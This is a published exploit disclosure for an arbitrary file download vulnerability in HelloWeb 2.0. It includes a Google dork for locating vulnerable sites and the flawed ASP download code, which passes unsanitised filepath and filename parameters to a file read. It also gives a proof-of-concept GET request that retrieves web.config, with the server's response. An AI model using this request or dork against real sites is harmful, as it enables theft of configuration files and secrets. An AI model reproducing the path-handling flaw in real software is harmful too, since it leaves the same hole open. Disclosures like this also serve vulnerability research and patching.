HelloWeb 2.0 - Arbitrary File Download

# Exploit Title: HelloWeb 2.0 - Arbitrary File Download
# Date: 2020-07-09
# Vendor Homepage: https://helloweb.co.kr/
# Version: 2.0 [Latest] and previous versions
# Exploit Author: bRpsd
# Contact Author: cy[at]live.no
# Google Dork: inurl:exec/file/download.asp
# Type: WebApps / ASP
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Vulnerable code:
######################################################################################################
Dim filepath, filename, root_path, fso, root_folder, attachfile, objStream, strFile

filepath = Request.QueryString("filepath")
filename = Request.QueryString("filename")
filepath = Replace(filepath,"/","\")

root_path = server.MapPath("/")
Set fso = CreateObject("Scripting.FileSystemObject")
Set root_folder = fso.GetFolder(root_path)

attachfile = root_path & filepath & "\" & filename

Response.Clear
Response.ContentType = "application/unknown"
Response.AddHeader "Pragma", "no-cache"
Response.AddHeader "Expires", "0"
Response.AddHeader "Content-Transfer-Encoding", "binary"
Response.AddHeader "Content-Disposition","attachment; filename = " & Server.URLPathEncode(filename)

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open

objStream.Type = 1
objStream.LoadFromFile attachfile

Response.BinaryWrite objStream.Read
Response.Flush
######################################################################################################

Vulnerability: Arbitrary File Download
Location: http://localhost/exec/file/download.asp
Parameters: filename & filepath

Proof of concept:

GET /exec/file/download.asp?filepath=/&filename=web.config HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

RESPONSE:
HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: application/unknown; Charset=utf-8
Expires: 0,Thu, 09 Jul 2020 10:51:14 GMT
Server:
Content-Transfer-Encoding: binary
Content-Disposition: attachment; filename = web.config
Set-Cookie: ASPSESSIONIDQQCBDRBB=BEMDPMDDKFHNFKFMJGHIKKKI; path=/
Access-Control-Allow-Origin: *
x-xss-protection: 1; mode=block
Date: Thu, 09 Jul 2020 10:51:14 GMT
Connection: close